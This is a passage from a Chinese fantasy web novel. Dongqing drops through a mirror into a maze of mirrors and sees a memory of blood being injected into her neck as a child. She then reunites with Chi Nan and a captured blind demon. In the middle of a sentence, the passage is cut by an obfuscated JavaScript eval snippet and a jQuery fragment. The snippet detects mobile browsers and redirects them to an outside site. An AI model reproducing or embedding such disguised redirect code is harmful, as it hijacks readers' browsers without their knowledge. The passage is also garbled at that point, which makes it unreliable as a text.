冬青敏锐地捕捉到那一点亮光,走上前俯身查看,指尖轻拨沙土。忽然,她像是看到了什么,手上动作陡然加快。 那一掌大附近的沙子被尽数扒开,露出下面的东西—— 一面镜子,正倒映着她惊愕面容,在金荧子的照射下折射着粼粼金光。 镜子?! 湖水……夹在两面镜子中间吗? 第一面镜子下是湖水,第二面镜子下会是什么呢? 识海之所以没有妖的痕迹,弩箭之所以从湖底射出,是因为第二面镜子下还有另一层空间吗? 那么仙人泪,应当也在这面镜子之下。 正当她思考如何穿过这面镜子时,掌心忽然传来水波的触感,她垂眸看去,沙子下的那面镜子正如水面一样波动,从她掌心向外泛起阵阵涟漪。 镜子的冷硬不复存在,取而代之的是一层水幕屏障,她微微用力,手掌便穿过水幕,探到了下方干燥的空间里。 冬青将金荧子全部收回,毫不犹豫地纵身跳进那涟漪中。 镜子下方是一片刺目的强光。 冬青的身体不断坠落,骤然从黑暗的环境脱离,她勉强在强烈的白光下将眼睛眯开一条缝。 随即,她难以置信的睁大了眼睛。 眼前是千千万万个自己。 这片空间,由无数面大小不一的镜子拼接而成。 千千万万个或大或小的冬青在镜中下坠,有的是她的正面,有的是她的侧面,下方映照出她的背影,诡异之极。 忽然,空间内所有的镜子同时一闪,画面不在是下坠的冬青,而是她不同的过去片段。 有的长有的短,有的久远有的就发生在方才,毫无规律。 冬青恍然大悟,原来这里才是真正的镜湖。 空间大的仿佛一个无底洞,冬青保持下落的姿势良久,才看见最下方的镜子里的自己逐渐从一个小点慢慢变大。 即将坠落时,她调整姿势,“咚”的一声踏足实地,落地声在空间里久久回荡。 过去或好或坏的画面不断闪回,经过幻境那一遭,她已然见怪不怪,直接无视。 但就在她要闭眼放出真气探查的刹那,余光忽然瞥见了什么,动作蓦然顿住。 她睁眼向一侧看去。 一块巴掌大的镜子中,映出她已经不记得的片段,在她幼时与娘一起生活过的镇子,在她那个陌生的家里,娘抱着幼小的她,将裸露的后背面向闻儒可,后者正手持一块红色血滴,将里面的液体化作红线,缓缓从冬青后颈注入她体内。 冬青脑海空白地看着那画面,浑身如坠冰窟一般涌上骇然寒意。 闻儒可手上拿着的,是她自幼佩戴到大的血镝。 琉璃坠子里那消失的那一半血镝,原来用在了她身上。 原来她后颈的不是什么红痣,而是血镝注入后留下的印记。 那她是什么? 冬青低头看向自己颤抖的手掌。 她是妖吗? 不……不会,她有灵根、有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362890|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真气,怎么可能是妖呢? 一定是妖为了迷惑她设下的陷阱! 她迫切地找出了许多自己并非妖族的证据,以此来盖住方才那荒唐至极的想法。 当务之急是找到仙人泪,把她脑中的灵傀刺除去。 冬青轻轻闭目,真气如一张网铺开,在接触到镜面时竟毫无阻碍地穿了过去,来到另一个充满镜子的空间,再一次穿过镜子…… 像一个蜂巢一样,无边无际。 忽然,一缕熟悉的真气与她放出的其中一缕真气交织在一起。 是池南! 冬青心头一喜,没想到两人竟然离得并不远。 两股真气拧成一股绳,两人站在绳子两端,同时动了起来。 冬青跟着真气的指引,穿过一面又一面镜子,在穿过第五面镜子是与池南迎头相撞。 冬青被撞的连连后退,脊背贴上镜面,失去平衡向镜中栽去。 一只有力的大手将她拽了回来。 池南似是经过一番奔波,气息微喘地看着她,一手握着她的腕子,一手拎着一只被捆起来的挣扎不断的妖。 “可找到……你受伤了?!”池南甩手将妖扔在一边,单手轻轻托着她下巴,拇指缓而轻地抹掉她唇上血色,“怎么回事?” “无碍。”冬青却有些不自然地拍开他的手,“在水里被乱流撞了一下。” 池南仍是不放心,握着她的肩膀将她转了个圈,仔仔细细打量过一遍,确定没有其他伤势后,才松了一口气,他笑道,“你真是聪明得紧,知道放真气来找我。” 冬青讪讪揉了揉耳根,她放真气其实并不是为了找他来着。 她看向被他抓住那只妖,长得人模人样,却有着一身蓝皮肤,双眼浑浊无瞳,脸颊两边有鱼一般的鳍。他被刻满符咒的缚妖锁紧紧缠住,仍在地上拼命挣扎扭动。 “我在湖里的时候被弩箭和攻击,就是这只妖吗?” 池南睇了那妖一眼,“不好说,应该还有其他妖,只是这里太错综复杂,我还没找到其他妖的踪迹。” 冬青在那妖面前蹲下身,那妖茫然四顾,忽然把尖长的耳朵对准了她。 “他看不见?”她伸手在那妖眼前晃了晃,他似乎并没有看到冬青的手,却在她的手臂挥舞到与嘴齐平时猝然张开血盆大口。 冬青眼疾手快地收手,同时一抹银光闪过,无相剑横在妖嘴前,那妖哈了一口浊气,向池南恶狠狠地龇牙低吼,却没有咬下。 “这里的妖虽然目不能视,但耳力超群。” 冬青点点头,撑着膝头站起身来,视线越过池南肩头定格在他身后的某一处。 “小红。”她声音有些古怪,“你幼时……倒是尊师重道。” 池南顺着她的视线回头看去,只见他身后两块镜子映出他顽劣的幼年时期——左侧那块镜子的小池南骑在弗如仙师脖子上,揪他的长眉,弗如仙师疼的龇牙咧嘴,一手拎着小池南后颈试图把他拽下去,另一手挡在小池南身后生怕他摔着;右侧那面镜子的画面看上去像是弗如仙师在给小池南疗伤。 两面镜子连起来就好像是小池南因为揪师父的眉毛被暴打一顿,师父转头又心疼地给他疗伤。 池南两眼一黑,现在看来他幼时确实放肆了一些。 可能他也是不记打的性子,竟然对右面那镜子的画面一点印象都没有。 他心里蓦地腾起一丝歉意。 算了,等师父出关,给他捎两坛好酒罢。